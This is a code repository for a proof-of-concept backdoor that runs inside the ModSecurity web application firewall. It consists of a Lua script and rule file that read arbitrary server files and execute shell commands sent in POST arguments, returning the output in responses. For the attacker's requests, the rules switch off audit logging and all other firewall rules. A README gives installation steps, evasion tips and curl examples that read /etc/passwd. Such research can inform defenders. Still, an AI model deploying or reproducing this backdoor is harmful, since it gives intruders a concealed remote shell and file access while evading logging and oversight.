├── LICENSE ├── backdoor.lua ├── backdoor.conf └── README.md /LICENSE: -------------------------------------------------------------------------------- 1 | "THE BEER-WARE LICENSE" (Revision 42): 2 | wrote this file. As long as you retain this notice you 3 | can do whatever you want with this stuff. If we meet some day, and you think 4 | this stuff is worth it, you can buy me a beer in return. Jozef Sudolsky 5 | -------------------------------------------------------------------------------- /backdoor.lua: -------------------------------------------------------------------------------- 1 | -- "THE BEER-WARE LICENSE" (Revision 42): 2 | -- wrote this file. As long as you retain this notice you 3 | -- can do whatever you want with this stuff. If we meet some day, and you think 4 | -- this stuff is worth it, you can buy me a beer in return. Jozef Sudolsky 5 | function main(request_type) 6 | pcall(require, "m") 7 | local args_post = {} 8 | for k, arg in pairs(m.getvars("ARGS_POST", "none")) do 9 | args_post[arg["name"]] = arg["value"] 10 | end 11 | if request_type == "file" then 12 | local arg_name = m.getvar("tx.backdoor_file_argument_name", "none") 13 | local file_obj, error = io.open(args_post[string.format("ARGS_POST:%s", arg_name)], "r") 14 | if error then 15 | output = string.format("Cannot read file %s: %s.", data, error) 16 | else 17 | output = file_obj:read("*a") 18 | file_obj:close() 19 | end 20 | elseif request_type == "command" then 21 | local arg_name = m.getvar("tx.backdoor_command_argument_name", "none") 22 | local file_obj = io.popen(args_post[string.format("ARGS_POST:%s", arg_name)]) 23 | output = file_obj:read("*a") 24 | file_obj:close() 25 | end 26 | m.setvar("tx.backdoor_output", output) 27 | return "" 28 | end 29 | -------------------------------------------------------------------------------- /backdoor.conf: -------------------------------------------------------------------------------- 1 | # "THE BEER-WARE LICENSE" (Revision 42): 2 | # wrote this file. As long as you retain this notice you 3 | # can do whatever you want with this stuff. If we meet some day, and you think 4 | # this stuff is worth it, you can buy me a beer in return. Jozef Sudolsky 5 | SecAction \ 6 | "id:800,\ 7 | phase:1,\ 8 | nolog,\ 9 | pass,\ 10 | t:none,\ 11 | setvar:'tx.backdoor_file_argument_name=backdoor_file',\ 12 | setvar:'tx.backdoor_command_argument_name=backdoor_command'" 13 | 14 | SecRule ARGS_POST_NAMES "@streq %{tx.backdoor_file_argument_name}" \ 15 | "id:810,\ 16 | phase:2,\ 17 | pass,\ 18 | nolog,\ 19 | setvar:'tx.backdoor_request_type=file',\ 20 | ctl:auditEngine=Off,\ 21 | ctl:ruleRemoveById=1-799,\ 22 | ctl:ruleRemoveById=900-99999999" 23 | 24 | SecRule ARGS_POST_NAMES "@streq %{tx.backdoor_command_argument_name}" \ 25 | "id:820,\ 26 | phase:2,\ 27 | pass,\ 28 | nolog,\ 29 | setvar:'tx.backdoor_request_type=command',\ 30 | ctl:auditEngine=Off,\ 31 | ctl:ruleRemoveById=1-799,\ 32 | ctl:ruleRemoveById=900-99999999" 33 | 34 | SecRule &TX:BACKDOOR_REQUEST_TYPE "@eq 1" \ 35 | "id:830,\ 36 | phase:4,\ 37 | pass,\ 38 | nolog,\ 39 | chain" 40 | SecRule TX:BACKDOOR_REQUEST_TYPE "@inspectFile backdoor.lua" "chain" 41 | SecRule STREAM_OUTPUT_BODY "@rsub s/.$/%{tx.backdoor_output}/" 42 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ModSecurity Backdoor 2 | 3 | ## Description 4 | 5 | This is a proof-of-concept of malicious software running inside of ModSecurity 6 | WAF. 7 | 8 | Software has two main functions: 9 | * Retrieving content of files. 10 | * Running commands and retrieving output (remote shell). 11 | 12 | Additionaly, it includes these functions: 13 | * Dynamic setting of control POST arguments names for harder detection. 14 | * Logging disabling for harder detection (only for attacker's requests 15 | identified by POST arguments names). 16 | * All other rules disabling (only for attacker's requests 17 | identified by POST arguments names). 18 | 19 | ## Prerequisities 20 | 21 | * ModSecurity compiled with Lua support 22 | * Lua 23 | * ModSecurity directives `SecStreamOutBodyInspection` and `SecContentInjection` 24 | are set to `On` 25 | 26 | ## Installation 27 | 28 | Get files `backdoor.conf` and `backdoor.lua` and load the first one into the 29 | web server. 30 | 31 | ## Configuration 32 | 33 | Configuration can be done in the first rule in file `backdoor.conf`. 34 | 35 | ### tx.backdoor_file_argument_name 36 | 37 | This setting can be used to set name of the POST argument used for retrieving 38 | files content. Set it to anything random like `koomem6Shmog`. 39 | 40 | ### tx.backdoor_command_argument_name 41 | 42 | This setting can be used to set name of the POST argument used for running 43 | commands. Set it to anything random like `tys4Olhuibves`. 44 | 45 | ## Usage 46 | 47 | Commands can be run on any address (domain) on the target server which is behind 48 | the ModSecurity WAF. Output from commands is appended to the standard server 49 | response. 50 | 51 | ### Usage examples 52 | 53 | Retrieving file content: 54 | `curl -X POST -d "koomem6Shmog=/etc/passwd" "http://example.com/"` 55 | 56 | Running command and getting output: 57 | `curl -X POST -d "tys4Olhuibves=/bin/ps aux" "http://example.com/"` 58 | 59 | ## License 60 | 61 | Copyright (c) 2022 Jozef Sudolsky. All rights reserved. 62 | 63 | "THE BEER-WARE LICENSE" (Revision 42): 64 | wrote this file. As long as you retain this notice you 65 | can do whatever you want with this stuff. If we meet some day, and you think 66 | this stuff is worth it, you can buy me a beer in return. Jozef Sudolsky 67 | --------------------------------------------------------------------------------